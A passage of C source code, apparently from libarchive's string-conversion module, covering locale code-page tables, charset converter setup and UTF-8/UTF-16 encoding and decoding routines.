cp; locale = setlocale(LC_CTYPE, NULL); if (locale == NULL) return (GetACP()); if (locale[0] == 'C' && locale[1] == '\0') return (CP_C_LOCALE); p = strrchr(locale, '.'); if (p == NULL) return (GetACP()); if (strcmp(p+1, "utf8") == 0) return CP_UTF8; cp = my_atoi(p+1); if ((int)cp <= 0) return (GetACP()); return (cp); } /* * Translation table between Locale Name and ACP/OEMCP. */ static struct { unsigned acp; unsigned ocp; const char *locale; } acp_ocp_map[] = { { 950, 950, "Chinese_Taiwan" }, { 936, 936, "Chinese_People's Republic of China" }, { 950, 950, "Chinese_Taiwan" }, { 1250, 852, "Czech_Czech Republic" }, { 1252, 850, "Danish_Denmark" }, { 1252, 850, "Dutch_Netherlands" }, { 1252, 850, "Dutch_Belgium" }, { 1252, 437, "English_United States" }, { 1252, 850, "English_Australia" }, { 1252, 850, "English_Canada" }, { 1252, 850, "English_New Zealand" }, { 1252, 850, "English_United Kingdom" }, { 1252, 437, "English_United States" }, { 1252, 850, "Finnish_Finland" }, { 1252, 850, "French_France" }, { 1252, 850, "French_Belgium" }, { 1252, 850, "French_Canada" }, { 1252, 850, "French_Switzerland" }, { 1252, 850, "German_Germany" }, { 1252, 850, "German_Austria" }, { 1252, 850, "German_Switzerland" }, { 1253, 737, "Greek_Greece" }, { 1250, 852, "Hungarian_Hungary" }, { 1252, 850, "Icelandic_Iceland" }, { 1252, 850, "Italian_Italy" }, { 1252, 850, "Italian_Switzerland" }, { 932, 932, "Japanese_Japan" }, { 949, 949, "Korean_Korea" }, { 1252, 850, "Norwegian (BokmOl)_Norway" }, { 1252, 850, "Norwegian (BokmOl)_Norway" }, { 1252, 850, "Norwegian-Nynorsk_Norway" }, { 1250, 852, "Polish_Poland" }, { 1252, 850, "Portuguese_Portugal" }, { 1252, 850, "Portuguese_Brazil" }, { 1251, 866, "Russian_Russia" }, { 1250, 852, "Slovak_Slovakia" }, { 1252, 850, "Spanish_Spain" }, { 1252, 850, "Spanish_Mexico" }, { 1252, 850, "Spanish_Spain" }, { 1252, 850, "Swedish_Sweden" }, { 1254, 857, "Turkish_Turkey" }, { 0, 0, NULL} }; /* * Return OEM Code Page of current locale set by setlocale(). */ static unsigned get_current_oemcp(void) { int i; char *locale, *p; size_t len; locale = setlocale(LC_CTYPE, NULL); if (locale == NULL) return (GetOEMCP()); if (locale[0] == 'C' && locale[1] == '\0') return (CP_C_LOCALE); p = strrchr(locale, '.'); if (p == NULL) return (GetOEMCP()); len = p - locale; for (i = 0; acp_ocp_map[i].acp; i++) { if (strncmp(acp_ocp_map[i].locale, locale, len) == 0) return (acp_ocp_map[i].ocp); } return (GetOEMCP()); } #else /* * POSIX platform does not use CodePage. */ static unsigned get_current_codepage(void) { return (-1);/* Unknown */ } static unsigned make_codepage_from_charset(const char *charset) { (void)charset; /* UNUSED */ return (-1);/* Unknown */ } static unsigned get_current_oemcp(void) { return (-1);/* Unknown */ } #endif /* defined(_WIN32) && !defined(__CYGWIN__) */ /* * Return a string conversion object. */ static struct archive_string_conv * get_sconv_object(struct archive *a, const char *fc, const char *tc, int flag) { struct archive_string_conv *sc; unsigned current_codepage; /* Check if we have made the sconv object. */ sc = find_sconv_object(a, fc, tc); if (sc != NULL) return (sc); if (a == NULL) current_codepage = get_current_codepage(); else current_codepage = a->current_codepage; sc = create_sconv_object(canonical_charset_name(fc), canonical_charset_name(tc), current_codepage, flag); if (sc == NULL) { if (a != NULL) archive_set_error(a, ENOMEM, "Could not allocate memory for " "a string conversion object"); return (NULL); } /* * If there is no converter for current string conversion object, * we cannot handle this conversion. */ if (sc->nconverter == 0) { if (a != NULL) { #if HAVE_ICONV archive_set_error(a, ARCHIVE_ERRNO_MISC, "iconv_open failed : Cannot handle ``%s''", (flag & SCONV_TO_CHARSET)?tc:fc); #else archive_set_error(a, ARCHIVE_ERRNO_MISC, "A character-set conversion not fully supported " "on this platform"); #endif } /* Failed; free a sconv object. */ free_sconv_object(sc); return (NULL); } /* * Success! */ if (a != NULL) add_sconv_object(a, sc); return (sc); } static const char * get_current_charset(struct archive *a) { const char *cur_charset; if (a == NULL) cur_charset = default_iconv_charset(""); else { cur_charset = default_iconv_charset(a->current_code); if (a->current_code == NULL) { a->current_code = strdup(cur_charset); a->current_codepage = get_current_codepage(); a->current_oemcp = get_current_oemcp(); } } return (cur_charset); } /* * Make and Return a string conversion object. * Return NULL if the platform does not support the specified conversion * and best_effort is 0. * If best_effort is set, A string conversion object must be returned * unless memory allocation for the object fails, but the conversion * might fail when non-ASCII code is found. */ struct archive_string_conv * archive_string_conversion_to_charset(struct archive *a, const char *charset, int best_effort) { int flag = SCONV_TO_CHARSET; if (best_effort) flag |= SCONV_BEST_EFFORT; return (get_sconv_object(a, get_current_charset(a), charset, flag)); } struct archive_string_conv * archive_string_conversion_from_charset(struct archive *a, const char *charset, int best_effort) { int flag = SCONV_FROM_CHARSET; if (best_effort) flag |= SCONV_BEST_EFFORT; return (get_sconv_object(a, charset, get_current_charset(a), flag)); } /* * archive_string_default_conversion_*_archive() are provided for Windows * platform because other archiver application use CP_OEMCP for * MultiByteToWideChar() and WideCharToMultiByte() for the filenames * in tar or zip files. But mbstowcs/wcstombs(CRT) usually use CP_ACP * unless you use setlocale(LC_ALL, ".OCP")(specify CP_OEMCP). * So we should make a string conversion between CP_ACP and CP_OEMCP * for compatibility. */ #if defined(_WIN32) && !defined(__CYGWIN__) struct archive_string_conv * archive_string_default_conversion_for_read(struct archive *a) { const char *cur_charset = get_current_charset(a); char oemcp[16]; /* NOTE: a check of cur_charset is unneeded but we need * that get_current_charset() has been surely called at * this time whatever C compiler optimized. */ if (cur_charset != NULL && (a->current_codepage == CP_C_LOCALE || a->current_codepage == a->current_oemcp)) return (NULL);/* no conversion. */ _snprintf(oemcp, sizeof(oemcp)-1, "CP%d", a->current_oemcp); /* Make sure a null termination must be set. */ oemcp[sizeof(oemcp)-1] = '\0'; return (get_sconv_object(a, oemcp, cur_charset, SCONV_FROM_CHARSET)); } struct archive_string_conv * archive_string_default_conversion_for_write(struct archive *a) { const char *cur_charset = get_current_charset(a); char oemcp[16]; /* NOTE: a check of cur_charset is unneeded but we need * that get_current_charset() has been surely called at * this time whatever C compiler optimized. */ if (cur_charset != NULL && (a->current_codepage == CP_C_LOCALE || a->current_codepage == a->current_oemcp)) return (NULL);/* no conversion. */ _snprintf(oemcp, sizeof(oemcp)-1, "CP%d", a->current_oemcp); /* Make sure a null termination must be set. */ oemcp[sizeof(oemcp)-1] = '\0'; return (get_sconv_object(a, cur_charset, oemcp, SCONV_TO_CHARSET)); } #else struct archive_string_conv * archive_string_default_conversion_for_read(struct archive *a) { (void)a; /* UNUSED */ return (NULL); } struct archive_string_conv * archive_string_default_conversion_for_write(struct archive *a) { (void)a; /* UNUSED */ return (NULL); } #endif /* * Dispose of all character conversion objects in the archive object. */ void archive_string_conversion_free(struct archive *a) { struct archive_string_conv *sc; struct archive_string_conv *sc_next; for (sc = a->sconv; sc != NULL; sc = sc_next) { sc_next = sc->next; free_sconv_object(sc); } a->sconv = NULL; free(a->current_code); a->current_code = NULL; } /* * Return a conversion charset name. */ const char * archive_string_conversion_charset_name(struct archive_string_conv *sc) { if (sc->flag & SCONV_TO_CHARSET) return (sc->to_charset); else return (sc->from_charset); } /* * Change the behavior of a string conversion. */ void archive_string_conversion_set_opt(struct archive_string_conv *sc, int opt) { switch (opt) { /* * A filename in UTF-8 was made with libarchive 2.x in a wrong * assumption that wchar_t was Unicode. * This option enables simulating the assumption in order to read * that filename correctly. */ case SCONV_SET_OPT_UTF8_LIBARCHIVE2X: #if (defined(_WIN32) && !defined(__CYGWIN__)) \ || defined(__STDC_ISO_10646__) || defined(__APPLE__) /* * Nothing to do for it since wchar_t on these platforms * is really Unicode. */ (void)sc; /* UNUSED */ #else if ((sc->flag & SCONV_UTF8_LIBARCHIVE_2) == 0) { sc->flag |= SCONV_UTF8_LIBARCHIVE_2; /* Set up string converters. */ setup_converter(sc); } #endif break; case SCONV_SET_OPT_NORMALIZATION_C: if ((sc->flag & SCONV_NORMALIZATION_C) == 0) { sc->flag |= SCONV_NORMALIZATION_C; sc->flag &= ~SCONV_NORMALIZATION_D; /* Set up string converters. */ setup_converter(sc); } break; case SCONV_SET_OPT_NORMALIZATION_D: #if defined(HAVE_ICONV) /* * If iconv will take the string, do not change the * setting of the normalization. */ if (!(sc->flag & SCONV_WIN_CP) && (sc->flag & (SCONV_FROM_UTF16 | SCONV_FROM_UTF8)) && !(sc->flag & (SCONV_TO_UTF16 | SCONV_TO_UTF8))) break; #endif if ((sc->flag & SCONV_NORMALIZATION_D) == 0) { sc->flag |= SCONV_NORMALIZATION_D; sc->flag &= ~SCONV_NORMALIZATION_C; /* Set up string converters. */ setup_converter(sc); } break; default: break; } } /* * * Copy one archive_string to another in locale conversion. * * archive_strncat_l(); * archive_strncpy_l(); * */ static size_t mbsnbytes(const void *_p, size_t n) { size_t s; const char *p, *pp; if (_p == NULL) return (0); p = (const char *)_p; /* Like strlen(p), except won't examine positions beyond p[n]. */ s = 0; pp = p; while (s < n && *pp) { pp++; s++; } return (s); } static size_t utf16nbytes(const void *_p, size_t n) { size_t s; const char *p, *pp; if (_p == NULL) return (0); p = (const char *)_p; /* Like strlen(p), except won't examine positions beyond p[n]. */ s = 0; pp = p; n >>= 1; while (s < n && (pp[0] || pp[1])) { pp += 2; s++; } return (s<<1); } int archive_strncpy_l(struct archive_string *as, const void *_p, size_t n, struct archive_string_conv *sc) { as->length = 0; return (archive_strncat_l(as, _p, n, sc)); } int archive_strncat_l(struct archive_string *as, const void *_p, size_t n, struct archive_string_conv *sc) { const void *s; size_t length = 0; int i, r = 0, r2; if (_p != NULL && n > 0) { if (sc != NULL && (sc->flag & SCONV_FROM_UTF16)) length = utf16nbytes(_p, n); else length = mbsnbytes(_p, n); } /* We must allocate memory even if there is no data for conversion * or copy. This simulates archive_string_append behavior. */ if (length == 0) { int tn = 1; if (sc != NULL && (sc->flag & SCONV_TO_UTF16)) tn = 2; if (archive_string_ensure(as, as->length + tn) == NULL) return (-1); as->s[as->length] = 0; if (tn == 2) as->s[as->length+1] = 0; return (0); } /* * If sc is NULL, we just make a copy. */ if (sc == NULL) { if (archive_string_append(as, _p, length) == NULL) return (-1);/* No memory */ return (0); } s = _p; i = 0; if (sc->nconverter > 1) { sc->utftmp.length = 0; r2 = sc->converter[0](&(sc->utftmp), s, length, sc); if (r2 != 0 && errno == ENOMEM) return (r2); if (r > r2) r = r2; s = sc->utftmp.s; length = sc->utftmp.length; ++i; } r2 = sc->converter[i](as, s, length, sc); if (r > r2) r = r2; return (r); } #if HAVE_ICONV /* * Return -1 if conversion fails. */ static int iconv_strncat_in_locale(struct archive_string *as, const void *_p, size_t length, struct archive_string_conv *sc) { ICONV_CONST char *itp; size_t remaining; iconv_t cd; char *outp; size_t avail, bs; int return_value = 0; /* success */ int to_size, from_size; if (sc->flag & SCONV_TO_UTF16) to_size = 2; else to_size = 1; if (sc->flag & SCONV_FROM_UTF16) from_size = 2; else from_size = 1; if (archive_string_ensure(as, as->length + length*2+to_size) == NULL) return (-1); cd = sc->cd; itp = (char *)(uintptr_t)_p; remaining = length; outp = as->s + as->length; avail = as->buffer_length - as->length - to_size; while (remaining >= (size_t)from_size) { size_t result = iconv(cd, &itp, &remaining, &outp, &avail); if (result != (size_t)-1) break; /* Conversion completed. */ if (errno == EILSEQ || errno == EINVAL) { /* * If an output charset is UTF-8 or UTF-16BE/LE, * unknown character should be U+FFFD * (replacement character). */ if (sc->flag & (SCONV_TO_UTF8 | SCONV_TO_UTF16)) { size_t rbytes; if (sc->flag & SCONV_TO_UTF8) rbytes = sizeof(utf8_replacement_char); else rbytes = 2; if (avail < rbytes) { as->length = outp - as->s; bs = as->buffer_length + (remaining * to_size) + rbytes; if (NULL == archive_string_ensure(as, bs)) return (-1); outp = as->s + as->length; avail = as->buffer_length - as->length - to_size; } if (sc->flag & SCONV_TO_UTF8) memcpy(outp, utf8_replacement_char, sizeof(utf8_replacement_char)); else if (sc->flag & SCONV_TO_UTF16BE) archive_be16enc(outp, UNICODE_R_CHAR); else archive_le16enc(outp, UNICODE_R_CHAR); outp += rbytes; avail -= rbytes; } else { /* Skip the illegal input bytes. */ *outp++ = '?'; avail--; } itp += from_size; remaining -= from_size; return_value = -1; /* failure */ } else { /* E2BIG no output buffer, * Increase an output buffer. */ as->length = outp - as->s; bs = as->buffer_length + remaining * 2; if (NULL == archive_string_ensure(as, bs)) return (-1); outp = as->s + as->length; avail = as->buffer_length - as->length - to_size; } } as->length = outp - as->s; as->s[as->length] = 0; if (to_size == 2) as->s[as->length+1] = 0; return (return_value); } #endif /* HAVE_ICONV */ #if defined(_WIN32) && !defined(__CYGWIN__) /* * Translate a string from a some CodePage to an another CodePage by * Windows APIs, and copy the result. Return -1 if conversion fails. */ static int strncat_in_codepage(struct archive_string *as, const void *_p, size_t length, struct archive_string_conv *sc) { const char *s = (const char *)_p; struct archive_wstring aws; size_t l; int r, saved_flag; archive_string_init(&aws); saved_flag = sc->flag; sc->flag &= ~(SCONV_NORMALIZATION_D | SCONV_NORMALIZATION_C); r = archive_wstring_append_from_mbs_in_codepage(&aws, s, length, sc); sc->flag = saved_flag; if (r != 0) { archive_wstring_free(&aws); if (errno != ENOMEM) archive_string_append(as, s, length); return (-1); } l = as->length; r = archive_string_append_from_wcs_in_codepage( as, aws.s, aws.length, sc); if (r != 0 && errno != ENOMEM && l == as->length) archive_string_append(as, s, length); archive_wstring_free(&aws); return (r); } /* * Test whether MBS ==> WCS is okay. */ static int invalid_mbs(const void *_p, size_t n, struct archive_string_conv *sc) { const char *p = (const char *)_p; unsigned codepage; DWORD mbflag = MB_ERR_INVALID_CHARS; if (sc->flag & SCONV_FROM_CHARSET) codepage = sc->to_cp; else codepage = sc->from_cp; if (codepage == CP_C_LOCALE) return (0); if (codepage != CP_UTF8) mbflag |= MB_PRECOMPOSED; if (MultiByteToWideChar(codepage, mbflag, p, (int)n, NULL, 0) == 0) return (-1); /* Invalid */ return (0); /* Okay */ } #else /* * Test whether MBS ==> WCS is okay. */ static int invalid_mbs(const void *_p, size_t n, struct archive_string_conv *sc) { const char *p = (const char *)_p; size_t r; #if HAVE_MBRTOWC mbstate_t shift_state; memset(&shift_state, 0, sizeof(shift_state)); #else /* Clear the shift state before starting. */ mbtowc(NULL, NULL, 0); #endif while (n) { wchar_t wc; #if HAVE_MBRTOWC r = mbrtowc(&wc, p, n, &shift_state); #else r = mbtowc(&wc, p, n); #endif if (r == (size_t)-1 || r == (size_t)-2) return (-1);/* Invalid. */ if (r == 0) break; p += r; n -= r; } (void)sc; /* UNUSED */ return (0); /* All Okey. */ } #endif /* defined(_WIN32) && !defined(__CYGWIN__) */ /* * Basically returns -1 because we cannot make a conversion of charset * without iconv but in some cases this would return 0. * Returns 0 if all copied characters are ASCII. * Returns 0 if both from-locale and to-locale are the same and those * can be WCS with no error. */ static int best_effort_strncat_in_locale(struct archive_string *as, const void *_p, size_t length, struct archive_string_conv *sc) { size_t remaining; const uint8_t *itp; int return_value = 0; /* success */ /* * If both from-locale and to-locale is the same, this makes a copy. * And then this checks all copied MBS can be WCS if so returns 0. */ if (sc->same) { if (archive_string_append(as, _p, length) == NULL) return (-1);/* No memory */ return (invalid_mbs(_p, length, sc)); } /* * If a character is ASCII, this just copies it. If not, this * assigns '?' character instead but in UTF-8 locale this assigns * byte sequence 0xEF 0xBD 0xBD, which are code point U+FFFD, * a Replacement Character in Unicode. */ remaining = length; itp = (const uint8_t *)_p; while (*itp && remaining > 0) { if (*itp > 127) { // Non-ASCII: Substitute with suitable replacement if (sc->flag & SCONV_TO_UTF8) { if (archive_string_append(as, utf8_replacement_char, sizeof(utf8_replacement_char)) == NULL) { __archive_errx(1, "Out of memory"); } } else { archive_strappend_char(as, '?'); } return_value = -1; } else { archive_strappend_char(as, *itp); } ++itp; } return (return_value); } /* * Unicode conversion functions. * - UTF-8 <===> UTF-8 in removing surrogate pairs. * - UTF-8 NFD ===> UTF-8 NFC in removing surrogate pairs. * - UTF-8 made by libarchive 2.x ===> UTF-8. * - UTF-16BE <===> UTF-8. * */ /* * Utility to convert a single UTF-8 sequence. * * Usually return used bytes, return used byte in negative value when * a unicode character is replaced with U+FFFD. * See also http://unicode.org/review/pr-121.html Public Review Issue #121 * Recommended Practice for Replacement Characters. */ static int _utf8_to_unicode(uint32_t *pwc, const char *s, size_t n) { static const char utf8_count[256] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 00 - 0F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 10 - 1F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 20 - 2F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 30 - 3F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 40 - 4F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 50 - 5F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 60 - 6F */ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,/* 70 - 7F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,/* 80 - 8F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,/* 90 - 9F */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,/* A0 - AF */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,/* B0 - BF */ 0, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,/* C0 - CF */ 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,/* D0 - DF */ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,/* E0 - EF */ 4, 4, 4, 4, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 /* F0 - FF */ }; int ch, i; int cnt; uint32_t wc; /* Sanity check. */ if (n == 0) return (0); /* * Decode 1-4 bytes depending on the value of the first byte. */ ch = (unsigned char)*s; if (ch == 0) return (0); /* Standard: return 0 for end-of-string. */ cnt = utf8_count[ch]; /* Invalid sequence or there are not plenty bytes. */ if ((int)n < cnt) { cnt = (int)n; for (i = 1; i < cnt; i++) { if ((s[i] & 0xc0) != 0x80) { cnt = i; break; } } goto invalid_sequence; } /* Make a Unicode code point from a single UTF-8 sequence. */ switch (cnt) { case 1: /* 1 byte sequence. */ *pwc = ch & 0x7f; return (cnt); case 2: /* 2 bytes sequence. */ if ((s[1] & 0xc0) != 0x80) { cnt = 1; goto invalid_sequence; } *pwc = ((ch & 0x1f) << 6) | (s[1] & 0x3f); return (cnt); case 3: /* 3 bytes sequence. */ if ((s[1] & 0xc0) != 0x80) { cnt = 1; goto invalid_sequence; } if ((s[2] & 0xc0) != 0x80) { cnt = 2; goto invalid_sequence; } wc = ((ch & 0x0f) << 12) | ((s[1] & 0x3f) << 6) | (s[2] & 0x3f); if (wc < 0x800) goto invalid_sequence;/* Overlong sequence. */ break; case 4: /* 4 bytes sequence. */ if ((s[1] & 0xc0) != 0x80) { cnt = 1; goto invalid_sequence; } if ((s[2] & 0xc0) != 0x80) { cnt = 2; goto invalid_sequence; } if ((s[3] & 0xc0) != 0x80) { cnt = 3; goto invalid_sequence; } wc = ((ch & 0x07) << 18) | ((s[1] & 0x3f) << 12) | ((s[2] & 0x3f) << 6) | (s[3] & 0x3f); if (wc < 0x10000) goto invalid_sequence;/* Overlong sequence. */ break; default: /* Others are all invalid sequence. */ if (ch == 0xc0 || ch == 0xc1) cnt = 2; else if (ch >= 0xf5 && ch <= 0xf7) cnt = 4; else if (ch >= 0xf8 && ch <= 0xfb) cnt = 5; else if (ch == 0xfc || ch == 0xfd) cnt = 6; else cnt = 1; if ((int)n < cnt) cnt = (int)n; for (i = 1; i < cnt; i++) { if ((s[i] & 0xc0) != 0x80) { cnt = i; break; } } goto invalid_sequence; } /* The code point larger than 0x10FFFF is not legal * Unicode values. */ if (wc > UNICODE_MAX) goto invalid_sequence; /* Correctly gets a Unicode, returns used bytes. */ *pwc = wc; return (cnt); invalid_sequence: *pwc = UNICODE_R_CHAR;/* set the Replacement Character instead. */ return (cnt * -1); } static int utf8_to_unicode(uint32_t *pwc, const char *s, size_t n) { int cnt; cnt = _utf8_to_unicode(pwc, s, n); /* Any of Surrogate pair is not legal Unicode values. */ if (cnt == 3 && IS_SURROGATE_PAIR_LA(*pwc)) return (-3); return (cnt); } static inline uint32_t combine_surrogate_pair(uint32_t uc, uint32_t uc2) { uc -= 0xD800; uc *= 0x400; uc += uc2 - 0xDC00; uc += 0x10000; return (uc); } /* * Convert a single UTF-8/CESU-8 sequence to a Unicode code point in * removing surrogate pairs. * * CESU-8: The Compatibility Encoding Scheme for UTF-16. * * Usually return used bytes, return used byte in negative value when * a unicode character is replaced with U+FFFD. */ static int cesu8_to_unicode(uint32_t *pwc, const char *s, size_t n) { uint32_t wc = 0; int cnt; cnt = _utf8_to_unicode(&wc, s, n); if (cnt == 3 && IS_HIGH_SURROGATE_LA(wc)) { uint32_t wc2 = 0; if (n - 3 < 3) { /* Invalid byte sequence. */ goto invalid_sequence; } cnt = _utf8_to_unicode(&wc2, s+3, n-3); if (cnt != 3 || !IS_LOW_SURROGATE_LA(wc2)) { /* Invalid byte sequence. */ goto invalid_sequence; } wc = combine_surrogate_pair(wc, wc2); cnt = 6; } else if (cnt == 3 && IS_LOW_SURROGATE_LA(wc)) { /* Invalid byte sequence. */ goto invalid_sequence; } *pwc = wc; return (cnt); invalid_sequence: *pwc = UNICODE_R_CHAR;/* set the Replacement Character instead. */ if (cnt > 0) cnt *= -1; return (cnt); } /* * Convert a Unicode code point to a single UTF-8 sequence. * * NOTE:This function does not check if the Unicode is legal or not. * Please you definitely check it before calling this. */ static size_t unicode_to_utf8(char *p, size_t remaining, uint32_t uc) { char *_p = p; /* Invalid Unicode char maps to Replacement character */ if (uc > UNICODE_MAX) uc = UNICODE_R_CHAR; /* Translate code point to UTF8 */ if (uc <= 0x7f) { if (remaining == 0) return (0); *p++ = (char)uc; } else if (uc <= 0x7ff) { if (remaining < 2) return (0); *p++ = 0xc0 | ((uc >> 6) & 0x1f); *p++ = 0x80 | (uc & 0x3f); } else if (uc <= 0xffff) { if (remaining < 3) return (0); *p++ = 0xe0 | ((uc >> 12) & 0x0f); *p++ = 0x80 | ((uc >> 6) & 0x3f); *p++ = 0x80 | (uc & 0x3f); } else { if (remaining < 4) return (0); *p++ = 0xf0 | ((uc >> 18) & 0x07); *p++ = 0x80 | ((uc >> 12) & 0x3f); *p++ = 0x80 | ((uc >> 6) & 0x3f); *p++ = 0x80 | (uc & 0x3f); } return (p - _p); } static int utf16be_to_unicode(uint32_t *pwc, const char *s, size_t n) { return (utf16_to_unicode(pwc, s, n, 1)); } static int utf16le_to_unicode(uint32_t *pwc, const char *s, size_t n) { return (utf16_to_unicode(pwc, s, n, 0)); } static int utf16_to_unicode(uint32_t *pwc, const char *s, size_t n, int be) { const char *utf16 = s; unsigned uc; if (n == 0) return (0); if (n == 1) { /* set the Replacement Character instead. */ *pwc = UNICODE_R_CHAR; return (-1); } if (be) uc = archive_be16dec(utf16); else uc = archive_le16dec(utf16); utf16 += 2; /* If this is a surrogate pair, assemble the full code point.*/ if (IS_HIGH_SURROGATE_LA(uc)) { unsigned uc2; if (n >= 4) { if (be) uc2 = archive_be16dec(utf16); else uc2 = archive_le16dec(utf16); } else uc2 = 0; if (IS_LOW_SURROGATE_LA(uc2)) { uc = combine_surrogate_pair(uc, uc2); utf16 += 2; } else { /* Undescribed code point should be U+FFFD * (replacement character). */ *pwc = UNICODE_R_CHAR; return (-2); } } /* * Surrogate pair values(0xd800 through 0xdfff) are only * used by UTF-16, so, after above calculation, the code * must not be surrogate values, and Unicode has no codes * larger than 0x10ffff. Thus, those are not legal Unicode * values. */ if (IS_SURROGATE_PAIR_LA(uc) || uc > UNICODE_MAX) { /* Undescribed code point should be U+FFFD * (replacement character). */ *pwc = UNICODE_R_CHAR; return (((int)(utf16 - s)) * -1); } *pwc = uc; return ((int)(utf16 - s)); } static size_t unicode_to_utf16be(char *p, size_t remaining, uint32_t uc) { char *utf16 = p; if (uc > 0xffff) { /* We have a code point that won't fit into a * wchar_t; convert it to a surrogate pair. */ if (remaining < 4) return (0); uc -= 0x10000; archive_be16enc(utf16, ((uc >> 10) & 0x3ff) + 0xD800); archive_be16enc(utf16+2, (uc & 0x3ff) + 0xDC00); return (4); } else { if (remaining < 2) return (0); archive_be16enc(utf16, uc); return (2); } } static size_t unicode_to_utf16le(char *p, size_t remaining, uint32_t uc) { char *utf16 = p; if (uc > 0xffff) { /* We have a code point that won't fit into a * wchar_t; convert it to a surrogate pair. */ if (remaining < 4) return (0); uc -= 0x10000; archive_le16enc(utf16, ((uc >> 10) & 0x3ff) + 0xD800); archive_le16enc(utf16+2, (uc & 0x3ff) + 0xDC00); return (4); } else { if (remaining < 2) return (0); archive_le16enc(utf16, uc); return (2); } } /* * Copy UTF-8 string in checking surrogate pair. * If any surrogate pair are found, it would be canonicalized. */ static int strncat_from_utf8_to_utf8(struct archive_string *as, const void *_p, size_t len, struct archive_string_conv *sc) { const char *s; char *p, *endp; int n, ret = 0; (void)sc; /* UNUSED */ if (archive_string_ensure(as, as->length + len + 1) == NULL) return (-1); s = (const char *)_p; p = as->s + as->length; endp = as->s + as->buffer_length -1; do { uint32_t uc; const char *ss = s; size_t w; /* * Forward byte sequence until a conversion of that is needed. */ while ((n = utf8_to_unicode(&uc, s, len)) > 0) { s += n; len -= n; } if (ss < s) { if (p + (s - ss) > endp) { as->length = p - as->s; if (archive_string_ensure(as, as->buffer_length + len + 1) == NULL) return (-1); p = as->s + as->length; endp = as->s + as->buffer_length -1; } memcpy(p, ss, s - ss); p += s - ss; } /* * If n is negative, current byte sequence needs a replacement. */ if (n < 0) { if (n == -3 && IS_SURROGATE_PAIR_LA(uc)) { /* Current byte sequence may be CESU-8. */ n = cesu8_to_unicode(&uc, s, len); } if (n < 0) { ret = -1; n *= -1;/* Use a replaced unicode character. */ } /* Rebuild UTF-8 byte sequence. */ while ((w = unicode_to_utf8(p, endp - p, uc)) == 0) { as->length = p - as->s; if (archive_string_ensure(as, as->buffer_length + len + 1) == NULL) return (-1); p = as->s + as->length; endp = as->s + as->buffer_length -1; } p += w; s += n; len -= n; } } while (n > 0); as->length = p - as->s; as->s[as->length] = '\0'; return (ret); } static int archive_string_append_unicode(struct archive_string *as, const void *_p, size_t len, struct archive_string_conv *sc) { const char *s; char *p, *endp; uint32_t uc; size_t w; int n, ret = 0, ts, tm; int (*parse)(uint32_t *, const char *, size_t); size_t (*unparse)(char *, size_t, uint32_t); if (sc->flag & SCONV_TO_UTF16BE) { unparse = unicode_to_utf16be; ts = 2; } else if (sc->flag & SCONV_TO_UTF16LE) { unparse = unicode_to_utf16le; ts = 2; } else if (sc->flag & SCONV_TO_UTF8) { unparse = unicode_to_utf8; ts = 1; } else { /* * This case is going to be converted to another * character-set through iconv. */ if (sc->flag & SCONV_FROM_UTF16BE) { unparse = unicode_to_utf16be; ts = 2; } else if (sc->flag & SCONV_FROM_UTF16LE) { unparse = unicode_to_utf16le; ts = 2; } else { unparse = unicode_to_utf8; ts = 1; } } if (sc->flag & SCONV_FROM_UTF16BE) { parse = utf16be_to_unicode; tm = 1; } else if (sc->flag & SCONV_FROM_UTF16LE) { parse = utf16le_to_unicode; tm = 1; } else { parse = cesu8_to_unicode; tm = ts; } if (archive_string_ensure(as, as->length + len * tm + ts) == NULL) return (-1); s = (const char *)_p; p = as->s + as->length; endp = as->s + as->buffer_length - ts; while ((n = parse(&uc, s, len)) != 0) { if (n < 0) { /* Use a replaced unicode character. */ n *= -1; ret = -1; } s += n; len -= n; while ((w = unparse(p, endp - p, uc)) == 0) { /* There is not enough output buffer so * we have to expand it. */ as->length = p - as->s; if (archive_string_ensure(as, as->buffer_length + len * tm + ts) == NULL) return (-1); p = as->s + as->length; endp = as->s + as->buffer_length - ts; } p += w; } as->length = p - as->s; as->s[as->length] = '\0'; if (ts == 2) as->s[as->length+1] = '\0'; return (ret); } /* * Following Constants for Hangul compositions this information comes from * Unicode Standard Annex #15 http://unicode.org/reports/tr15/ */ #define HC_SBASE 0xAC00 #define HC_LBASE 0x1100 #define HC_VBASE 0x1161 #define HC_TBASE 0x11A7 #define HC_LCOUNT 19 #define HC_VCOUNT 21 #define HC_TCOUNT 28 #define HC_NCOUNT (HC_VCOUNT * HC_TCOUNT) #define HC_SCOUNT (HC_LCOUNT * HC_NCOUNT) static uint32_t get_nfc(uint32_t uc, uint32_t uc2) { int t, b; t = 0; b = sizeof(u_composition_table)/sizeof(u_composition_table[0]) -1; while (b >= t) { int m = (t + b) / 2; if (u_composition_table[m].cp1 < uc) t = m + 1; else if (u_composition_table[m].cp1 > uc) b = m - 1; else if (u_composition_table[m].cp2 < uc2) t = m + 1; else if (u_composition_table[m].cp2 > uc2) b = m - 1; else return (u_composition_table[m].nfc); } return (0); } #define FDC_MAX 10 /* The maximum number of Following Decomposable * Characters. */ /* * Update first code point. */ #define UPDATE_UC(new_uc) do { \ uc = new_uc; \ ucptr = NULL; \ } while (0) /* * Replace first code point with second code point. */ #define 